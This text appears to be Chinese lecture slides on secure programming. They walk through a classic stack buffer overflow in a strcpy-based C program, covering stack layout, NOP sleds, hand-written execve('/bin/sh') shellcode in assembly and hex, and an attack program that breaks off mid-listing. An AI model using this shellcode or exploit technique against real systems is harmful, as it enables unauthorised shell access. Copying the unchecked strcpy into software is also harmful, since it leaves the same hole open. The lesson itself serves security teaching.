网络安全第十讲安全程序设计本讲内容10.1现实中的一些安全问题10.2从几个程序谈起10.3程序失败的其它例子10.1现实中的一些安全问题我的口令就是我的用户名后加上123我的口令是Q47pY!3,每隔90天就更换一次强而有效的不可破解的加密技术随处均可得到(尽管有各种各样的进出口限制)不攻击加密技术,攻击其应用的底层基础设施不攻击加密技术,攻击其实现不攻击加密技术,而从用户方面入手WhySecurityisHarderthanitLooks所有软件都是有错的通常情况下99.99%无错的程序很少会出问题同安全相关的99.99%无错的程序可以确信会被人利用那0.01%的错误0.01%安全问题等于100%的失败10.2从几个程序谈起程序运行平台RedhatLinux6.1Kernel2.2.13egcs-2.91.6610.2.1第一个程序#includestdio.h#includestring.hvoidSayHello(char*name){chartmpName[80];strcpy(tmpName,name);/*DosomechecksfortmpName.*/printf(Hello%s\n,tmpName);}intmain(intargc,char**argv){if(argc!=2){printf(Usage:helloname.\n);return1;}SayHello(argv[1]);return0;}hello.c运行情况$./hellocomputerHellocomputer$./helloaaaa………………………………………………………….aHelloaaaa……………………………………………………………….aSegmentationfault(coredumped)hello.cWhy????检查一下程序#includestdio.h#includestring.hvoidSayHello(char*name){chartmpName[80];strcpy(tmpName,name);/*DosomechecksfortmpName.*/printf(Hello%s\n,tmpName);}intmain(intargc,char**argv){if(argc!=2){printf(Usage:helloname.\n);return1;}SayHello(argv[1]);return0;}hello.c进一步思考……发生了什么事?几个要点Linux及其它几乎所有Intelx86系统、Solaris,etc分页式存储管理平面内存结构,4GB或更大逻辑地址空间栈从下往上生长C语言不进行边界检查进程内存布局代码区数据区堆栈段字符串向下生长栈段向上生长0x000000000xFFFFFFFF调用SayHello之前的栈main函数局部变量区lastfpretipargcargvenv…...ESPmain栈帧进入SayHello后的栈tmpName[80]main-fpretipnamemain栈帧…...ESPSayHello栈帧准备退出SayHello的栈(情况1)computer.…………..main-fpretipnamemain栈帧…...ESPSayHello栈帧main中return0;./hellocomputer准备退出SayHello的栈(情况2)aaaaaaaaaaaaaaaaaa……aaaaaaaa0x616161610x616161610x61616161main栈帧…...ESPSayHello栈帧retip???????./helloaaaaaa……………………………….a如果精心选择数据……...???????????????????………..????0x????????0xNNNNNNNN0x????????………...………...Our-CodesESPSayHello栈帧retip0xNNNNNNNN如何选择这些数据?几个问题:SayHello函数局部变量区大小?NNNNNNNN如何确定?Ourcodes该怎样写输入缓冲区不能包含0局部变量区问题???????????????????………..????0x????????0xNNNNNNNN0x????????………...………...Our-CodesESPSayHello栈帧retip0xNNNNNNNN局部变量区问题0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNNOur-CodesESPSayHello栈帧retip0xNNNNNNNN代码起始地址如何确定?0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNNOur-CodesESPSayHello栈帧retip0xNNNNNNNN4K代码起始地址如何确定问题已转化为用ESP加上某一偏移该偏移不需要精确为什么偏移不需要精确?0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN……….NNNNNNOPNOP……..NOPReal-CodesESPSayHello栈帧retip0xNNNNNNNN代码起始地址如何确定问题已转化为用ESP加上某一偏移该偏移不需要精确ESP如何确定呢用同样选项,插入一段代码,重新编译使用调试工具跟踪应用程序编一小程序,打印出运行时栈顶位置在同样环境下,不同进程之间栈位置距离不会太远植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi==cmd植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi+8:cmdesi==cmd植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi+8:cmd,0esi==cmd植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi+8:cmd,0esi==cmd运行程序路径exec植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi+8:cmd,0esi==cmd_exit植入代码二进制格式charshell_code[]=\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh;植入代码自测试程序(1)#includestring.hunsignedcharshell_code[]=\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/ls;charlarge_string[128];main(){charbuffer[96];inti;test1.c植入代码自测试程序(2)long*long_ptr=(long*)large_string;for(i=0;i32;i++)long_ptr[i]=(long)buffer;for(i=0;istrlen(shell_code);i++)large_string[i]=shell_code[i];strcpy(buffer,large_string);printf(IseverythingOK?:-)\n);}test1.c植入代码自测试程序(3)$./test1IseverythingOK?:-)hellohello.ctest1test1.ctest1.c完整的攻击hello的程序(1)#includestring.h#includestdlib.h#includeunistd.hunsignedcharshell_code[]=\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh;#defineDEFAULT_OFFSET0#defineBUFFER_SIZE1024test2.c完整的攻击hello的程序(2)unsignedlongget_esp(){__asm__(movl%esp,%eax);}main(intargc,char**argv){char*buff;char*ptr;unsignedlong*addr_ptr;unsignedlongesp;inti,ofs;test2.c完整的攻击hello的程序(3)if(argc==1)ofs=DEFAULT_OFFSET;elseofs=atoi(argv[1]);ptr=buf